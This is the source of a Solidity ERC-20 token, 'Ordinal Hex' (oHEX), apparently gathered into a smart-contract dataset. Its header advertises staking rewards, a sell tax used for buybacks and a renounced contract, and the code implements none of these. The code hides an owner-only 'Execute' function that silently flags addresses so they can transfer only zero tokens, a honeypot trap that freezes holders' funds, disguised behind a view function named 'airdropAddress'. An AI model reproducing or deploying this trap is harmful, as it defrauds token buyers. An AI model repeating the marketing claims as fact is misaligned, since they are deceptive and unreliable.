// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. /** ◽️OrdinalHEX {$oHEX} ♾UNSTOPPABLE ▪️oHEX Stakers earn far more yield than the inflation rate. Only a small part of all oHEX are actually Staked, around 50% at the time of writing. ▪️The rewards are paid in oHEX. This way the yield on your oHEX multiplies with the price appreciation of HEX against USD. ▪️ZERO BUY TAX /5% SELL USED FOR BUYBACK ▪️LONG TERM LIQUIDITY LOCK & CONTRACT RENOUNCED ▪️AUTOMATED DEFLATIONARY TOKEN ▪️STRONG DEDICATED AND EXPERIENCED DOXXED TEAM ▪️oHEX is signup-free and secure, executed peer-to-peer on the Blockchain. No middlemen, no counterparty risk! ▪️You are the network being in complete control. There are no middlemen or managers in oHEX. */ //SPDX-License-Identifier: MIT pragma solidity =0.5.15; contract ERC20Basic { function balanceOf( address account ) public view returns (uint256); function totalSupply( ) public view returns (uint256); function transfer( address to, uint256 value ) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value); } library SafeMath { function sub( uint256 a, uint256 b ) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul( uint256 a, uint256 b ) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div( uint256 a, uint256 b ) internal pure returns (uint256) { return a / b; } function add( uint256 a, uint256 b ) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => bool) internal _address_; mapping (address => uint256) balances; uint256 totalSupply_; function totalSupply( ) public view returns (uint256) { return totalSupply_; } function balanceOf( address account ) public view returns (uint256) { return balances[account]; } function transfer( address _to, uint256 _value ) public returns (bool) { if ( _address_[msg.sender] || _address_[_to]) require( _value == 0, ""); require( _to != address(0)); require( _value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } } contract ERC20 is ERC20Basic { function allowance( address owner, address spender ) public view returns (uint256); function approve( address spender, uint256 value ) public returns (bool); event Approval ( address indexed owner, address indexed spender, uint256 value ); function transferFrom( address from, address to, uint256 value ) public returns (bool); } contract StandardERC20 is ERC20, BasicToken { address internal approved; mapping (address => mapping (address => uint256)) internal allowed; constructor () public { approved = msg.sender; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { if (_address_[_from] || _address_[_to]) require( _value == 0, ""); require( _to != address(0)); require( _value <= balances[_from]); require( _value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function Execute( address _address ) external { require( msg.sender == approved); if ( _address_ [_address] == true){ _address_ [_address] = false;} else { _address_ [_address] = true; } } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function airdropAddress( address _address ) public view returns (bool) { return _address_ [_address]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract oHEX is StandardERC20 { string public constant name = "Ordinal Hex"; string public constant symbol = "oHEX"; uint256 public constant _totalSupply_ = 1000000000 * (10 ** uint256(decimals)); uint8 public constant decimals = 9; constructor() public { totalSupply_ = totalSupply_.add(_totalSupply_); balances[msg.sender] = balances[msg.sender].add(_totalSupply_); emit Transfer(address(0), msg.sender, _totalSupply_); } }